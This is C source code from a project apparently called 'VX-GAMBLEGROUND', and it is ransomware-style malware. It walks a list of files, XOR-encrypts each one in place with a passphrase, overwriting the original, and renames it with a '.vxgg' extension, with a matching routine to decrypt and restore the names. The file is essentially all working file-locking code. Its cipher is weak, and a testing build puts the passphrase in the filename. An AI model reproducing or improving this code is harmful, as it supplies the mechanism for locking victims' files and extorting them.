1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
|
/***
* ENCRYPTION
*
* Makes files unreadable, kinda.
*/
#define _GNU_SOURCE
#define TESTING
#include "encryption.h"
#include "ll.h"
#include "VX-GAMBLEGROUND.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdarg.h>
#include <regex.h>
// Encrypt a file (OVERWRITES FILE!) using a passphrase
size_t passenc(int fd, const char *passphrase) {
struct stat sb;
void *filebuf = NULL;
ssize_t cur_len = 0;
ssize_t bytesread = 0;
int esave;
// Set up file buffer
if(fstat(fd, &sb) < 0) {
error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd);
return -1;
}
filebuf = calloc(sb.st_size, 1);
if(filebuf == NULL) {
error(0, errno, "[passenc] Could not allocate buffer for reading file");
return -1;
}
while((bytesread = read(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) {
esave = errno;
cur_len += bytesread;
if(cur_len > sb.st_size) {
error(0, ERANGE, "[passenc] Reading overran the proper file size somehow");
free(filebuf);
return -1;
}
}
if(bytesread < 0) {
error(0, esave, "[passenc] Ran into a read error");
free(filebuf);
return -1;
}
// Do the "encryption"
size_t phraselen = strlen(passphrase);
for(off_t i = 0; i < sb.st_size; i++) {
((uint8_t*)filebuf)[i] ^= passphrase[i % phraselen];
}
// Write "encrypted" data to file
if(lseek(fd, 0, SEEK_SET) < 0) {
error(0, errno, "[passenc] Could not seek to beginning of file");
free(filebuf);
return -1;
}
bytesread = 0;
cur_len = 0;
while((bytesread = write(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) {
esave = errno;
cur_len += bytesread;
if(cur_len > sb.st_size) {
error(0, ERANGE, "[passenc] writing overran the proper file size somehow");
free(filebuf);
return -1;
}
}
if(bytesread < 0) {
error(0, esave, "[passenc] Ran into a write error");
free(filebuf);
return -1;
}
free(filebuf);
return cur_len;
}
// Encrypt a file one block at a time (Overwrites file)
size_t passencblock(int fd, const char *passphrase) {
struct stat sb;
void *filebuf = NULL;
ssize_t cur_len = 0, totalwritten = 0;
ssize_t bytesread = 0, usebytes = 0;
int esave;
off_t offset = 0;
// Set up file buffer
if(fstat(fd, &sb) < 0) {
error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd);
return -1;
}
filebuf = calloc(sb.st_blksize, 1);
if(filebuf == NULL) {
error(0, errno, "[passenc] Could not allocate buffer for reading file");
return -1;
}
// Read 1 block
// Do the encryption
// Overwrite the block with the encryption
// Repeat until EOF
while(offset < sb.st_size) {
// Read a block
bytesread = 0;
cur_len = 0;
while((bytesread = read(fd, ((char*)filebuf) + cur_len, sb.st_blksize - cur_len)) > 0) {
esave = errno;
cur_len += bytesread;
if(cur_len > sb.st_blksize) {
error(0, ERANGE, "[passenc] Read too many bytes somehow");
free(filebuf);
return -1;
}
}
if(bytesread < 0) {
error(0, esave, "[passenc] Ran into a read error");
free(filebuf);
return -1;
}
usebytes = cur_len;
// Do the encryption
size_t phraselen = strlen(passphrase);
for(off_t i = 0; i < usebytes; i++) {
((char*)filebuf)[i] ^= passphrase[i % phraselen];
}
// Seek to the right spot
if(lseek(fd, offset, SEEK_SET) < 0) {
error(0, errno, "[passenc] Could not seek to proper offset");
free(filebuf);
return -1;
}
offset += sb.st_blksize;
// Write to the file
bytesread = 0;
cur_len = 0;
while((bytesread = write(fd, ((char*)filebuf) + cur_len, usebytes - cur_len)) > 0) {
esave = errno;
cur_len += bytesread;
if(cur_len > sb.st_blksize) {
error(0, ERANGE, "[passenc] writing overran the block size somehow");
free(filebuf);
return -1;
}
}
if(bytesread < 0) {
error(0, esave, "[passenc] Ran into a write error");
free(filebuf);
return -1;
}
totalwritten += cur_len;
}
free(filebuf);
return totalwritten;
}
int rename_format(const char *fullpath, const char *format, ...) {
va_list ap;
va_start(ap, format);
char *newname = NULL; int err = 0;
if((err = vasprintf(&newname, format, ap)) < 0) {
error(0, 0, "<rename_nodelist> Could not create string for new file");
return err;
}
if((err = rename(fullpath, newname)) < 0) {
error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname);
return err;
}
free(newname);
va_end(ap);
return err;
}
int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag) {
int fd = -1;
regex_t encext;
regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);
for(const struct nodelist *p = list; p != NULL; p = p->next) {
if(p->fullpath == NULL)
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH && flag == VXGG_ENCRYPT) // Don't encrypt already encrypted files
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH && flag == VXGG_DECRYPT) // Skip non-matching files
continue;
fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
#ifdef TESTING
error(0, 0, "<decryptvxgg> Couldn't open \"%s\" for %s", p->fullpath, (flag == VXGG_ENCRYPT) ? "encryption" : "decryption");
#endif
continue;
}
passencblock(fd, passphrase);
close(fd);
if(flag == VXGG_ENCRYPT) {
#ifndef TESTING
rename_format(p->fullpath, "%s.vxgg", p->fullpath);
#else
rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
#endif
}
if(flag == VXGG_DECRYPT) {
char *newname = NULL;
#ifndef TESTING
asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg"));
#else
asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg") - PHRASESIZE - 1);
#endif
rename_format(p->fullpath, newname, p->fullpath);
free(newname);
}
}
/* The beauty of my shitty encryption function is that it's reversible by just running it again with the
// same password. Most of this function is just picking the right files to operate on and deciding how to
// rename them */
return 0;
}
/*
int main() {
int fd = open("test.txt", O_RDWR);
passencblock(fd, "we do a little trolling");
return 0;
}
*/
|